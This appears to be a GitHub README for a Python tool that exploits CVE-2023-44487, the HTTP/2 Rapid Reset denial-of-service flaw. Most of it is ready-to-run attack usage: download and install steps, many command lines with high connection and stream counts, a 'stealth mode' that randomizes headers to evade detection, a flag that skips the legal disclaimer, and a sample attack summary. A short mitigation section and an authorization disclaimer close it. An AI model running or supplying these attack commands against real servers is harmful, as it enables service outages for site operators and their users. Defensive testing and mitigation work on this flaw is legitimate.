cerberusmrxi/cve-2023-44487-http2-dos-rapid-reset-exploit
Advanced CVE-2023-44487 HTTP/2 Rapid Reset vulnerability exploitation framework. Features multi-connection concurrent attacks, adaptive rate control, stealth mode with randomized headers, real-time metrics, and risk assessment reporting. For authorized penetration testing only. By Sudeepa Wanigarathna
Professional Edition v1.0.1 | Author: Sudeepa Wanigarathna
-orange.svg){kind=icon}
A professional-grade assessment framework for CVE-2023-44487, the HTTP/2 Rapid Reset vulnerability. This tool helps security professionals test and validate systems against one of the most impactful HTTP/2 DoS conditions disclosed in recent years.
It demonstrates how rapidly creating and resetting HTTP/2 streams can exhaust server resources and lead to Denial of Service (DoS) conditions.
| Usage | Results |
|---|---|
 |  |
| Attribute | Value |
|---|---|
| CVE ID | CVE-2023-44487 |
| CVSS Score | 7.5 (High) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Impact | Denial of Service (Resource Exhaustion) |
| Affected Protocols | HTTP/2 |
| Disclosure Date | October 2023 |
The vulnerability exploits the HTTP/2 protocol's stream management mechanism:
| Feature | Description |
|---|---|
| HTTP/2 Support | Full HTTP/2 protocol implementation using the h2 library |
| Multi-Connection | Concurrent attack across multiple connections |
| SSL/TLS | HTTPS support with certificate verification options |
| Adaptive Rate Control | Dynamically adjusts attack rate based on server response |
| Stealth Mode | Randomized headers and connection rotation |
| Real-time Monitoring | Live metrics display during the run |
| Comprehensive Reports | JSON/CSV output with risk assessment |
| Docker Support | Containerized deployment for easy testing |
| Component | Minimum | Recommended |
|---|---|---|
| OS | Linux / macOS / Windows | Linux or macOS |
| Python | 3.7+ | 3.11+ |
| CPU | 2 cores | 4+ cores |
| RAM | 2GB | 4GB+ |
| Network | 100Mbps | 1Gbps+ |
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
| Option | Description | Default |
|---|---|---|
host | Target hostname or IP | Required |
-p, --port | Target port | 443 |
--no-ssl | Disable SSL/TLS | False |
--no-verify | Skip SSL verification | False |
| Option | Description | Default |
|---|---|---|
-c, --connections | Number of concurrent connections | 50 |
-s, --streams | Streams per connection | 1000 |
-d, --duration | Duration in seconds | 30 |
--max-streams | Maximum total streams | 100000 |
--delay | Base delay between operations | 0.0001s |
| Option | Description | Default |
|---|---|---|
--adaptive | Adaptive rate control | True |
--target-rps | Target requests per second | 10000 |
--stealth | Stealth mode (random headers) | False |
--skip-validation | Skip target validation | False |
--force | Skip legal disclaimer prompt | False |
| Option | Description | Default |
|---|---|---|
-o, --output | Output file name | exploit_results.json |
--format | Output format (json / csv / console) | json |
-v, --verbose | Verbose logging | False |
Use the CLI flags above to tune concurrency, stream volume, duration, and reporting. Prefer lower -c / -s / -d values for initial validation, then scale only on systems you are authorized to stress-test.
| Scenario | Suggested flags |
|---|---|
| Smoke test | -c 10 -s 100 -d 5 |
| Standard assessment | -c 50 -s 1000 -d 30 |
| High-load lab test | -c 100 -s 2000 -d 60 --stealth |
| Untrusted cert | --no-verify |
| Plain HTTP | -p 80 --no-ssl |
docker build -t cve-2023-44487-exploit .
docker run --rm cve-2023-44487-exploit target.com
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
| Metric | Description | Interpretation |
|---|---|---|
| Total Streams | Number of streams created | Higher count = more load generated |
| Successful Resets | Streams successfully reset | Typically >90% on vulnerable targets |
| Reset Rate (RPS) | Resets per second | Higher rate = more effective load |
| Success Rate | Percentage of successful resets | >90% often indicates exposure |
| Connection Errors | Failed connections | Low = stable connectivity |
| Server Resets | Server-initiated resets | High = protective measures present |
| Level | Score | Meaning |
|---|---|---|
| CRITICAL | 80–100 | Server highly vulnerable |
| HIGH | 60–79 | Server vulnerable, some protection |
| MEDIUM | 40–59 | Some protection in place |
| LOW | 0–39 | Well-protected server |
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
Apply Security Patches
Implement Rate Limiting
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
Connection Limits
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
| Setting | Recommendation |
|---|---|
| Max Concurrent Streams | Set to 100–200 per connection |
| Stream Reset Rate | Limit to <100/sec per client |
| Connection Limit | Max 50–100 connections per IP |
| Timeout Values | Reduce idle timeouts |
| Request Size Limits | Limit header sizes and payload |
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
IMPORTANT: READ THIS CAREFULLY BEFORE USING THIS TOOL
This tool is provided for authorized security testing and educational purposes only.
By using this tool, you acknowledge and agree that:
This tool must NOT be used for:
THE AUTHOR AND CONTRIBUTORS PROVIDE THIS TOOL "AS IS" WITHOUT ANY WARRANTY. USE OF THIS TOOL IS AT YOUR OWN RISK. THE AUTHOR IS NOT RESPONSIBLE FOR ANY DAMAGES OR LEGAL ISSUES RESULTING FROM THE USE OF THIS TOOL.
Unauthorized use of this tool may violate laws including but not limited to:
Sudeepa Wanigarathna
connection_attempts attribute error--skip-validation flagThis project is licensed under the MIT License — see the LICENSE file for details.
h2, aiohttp projects)For issues and questions:
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
REMINDER: Always obtain proper authorization before testing any system. Use this tool responsibly and ethically.
Maintained by Sudeepa Wanigarathna | Last Updated: August 2026